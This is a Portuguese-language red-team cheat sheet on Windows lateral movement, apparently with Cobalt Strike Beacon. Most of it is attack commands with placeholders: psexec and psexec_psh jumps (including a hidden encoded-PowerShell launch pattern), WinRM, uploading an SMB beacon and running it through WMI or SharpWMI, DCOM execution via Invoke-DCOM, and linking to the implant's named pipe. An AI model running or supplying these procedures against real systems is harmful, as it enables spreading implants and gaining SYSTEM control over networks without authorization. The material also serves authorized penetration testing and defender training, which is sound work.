# Movimentação Lateral

A sintáxe do `jump` é `jump <method> <alvo> <listner>`. Vendo a lista de métodos de Jump

```bash
jump
```

Vendo a lista de métodos de remote-exec

```bash
remote-exec
```

Enumerando configurações de computares na rede

```bash
execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> OSInfo -ComputerName=<hostname>
```

###

### Realizando a Movimentação Lateral

O SMB Beacon é uma excelente escolha quando se move lateralmente, porque o protocolo SMB é amplamente utilizado em um ambiente Windows, então esse tráfego combina muito bem.

#### PSExec

Tanto o psexec quanto psexec64, funcionam carregando um binário de serviço no sistema de destino e, em seguida, criando e iniciando um serviço do Windows para executar esse binário. Beacons executados desta forma são executados como `SYSTEM`.

```bash
jump psexec64 <host.domain.local> smb
```

#### psexec\_psh

Dessa forma, não irá copiar um binário para a máquina de destino, mas em vez disso executa uma linha única do PowerShell (sempre de 32 bits). O padrão usado por padrão é `%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand ...`. Beacons executados desta forma também são executados como `SYSTEM`.

```bash
jump psexec_psh <host> smb
```

#### WinRM

Utiliza o WinRM para acesso

```bash
jump winrm64 <host.domain.local> smb
```

#### WMI (Windows Management Instrumentation)

o WMI não faz parte do comando `jump`, mas sim do comando `remote-exec`. O método `remote-exec` usa a `process call create` do WMI para executar qualquer comando que especificarmos no destino. O meio mais direto de usar isso é fazer upload de do payload para o sistema de destino e usar o WMI para executá-la. Podemos fazer upload através do caminho `UNC` e após isso, executando-o.

```bash
# Enviando arquivo
cd \\<host.domain.local>\<directory$>
upload <C:\path\to\smb_x64.exe>

# Executando remotamente
remote-exec wmi <host.domain.local> <C:\path\to\remote\smb_x64.exe>
```

Após executar, vamos nos conectar. Quando um binário é executado via WMI dessa forma, ele será filho de `WmiPrvSE.exe`. Altere o valor do PIPE para um que exista na máquina alvo.

```bash
link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>
```

É comum recebermos o erro abaixo, pois isso só pode ser chamado uma vez por processo.

```bash
CoInitializeSecurity already called. Thread token (if there is one) may not get used
```

Para contornamos essa situação, podemos utilizar o seguinte comando:

```bash
execute-assembly <C:\path\to\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe> action=exec computername=<host.domain.local> command="<C:\path\to\remote\smb_x64.exe>"
```

#### DCOM (Distributed Component Object Model)

O Beacon não possui recursos integrados para interagir por meio do `Distributed Component Object Model (DCOM)`, portanto, devemos usar uma ferramenta externa como o `Invoke-DCOM`. Altere o valor do PIPE para um que exista na máquina alvo.

```bash
powershell-import <C:\path\to\Invoke-DCOM.ps1>
powershell Invoke-DCOM -ComputerName <host.domain.local> -Method MMC20.Application -Command <C:\path\to\remote\smb_x64.exe>
link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>
```

### Sites

```bash
# Invoke-DCOM
https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
```
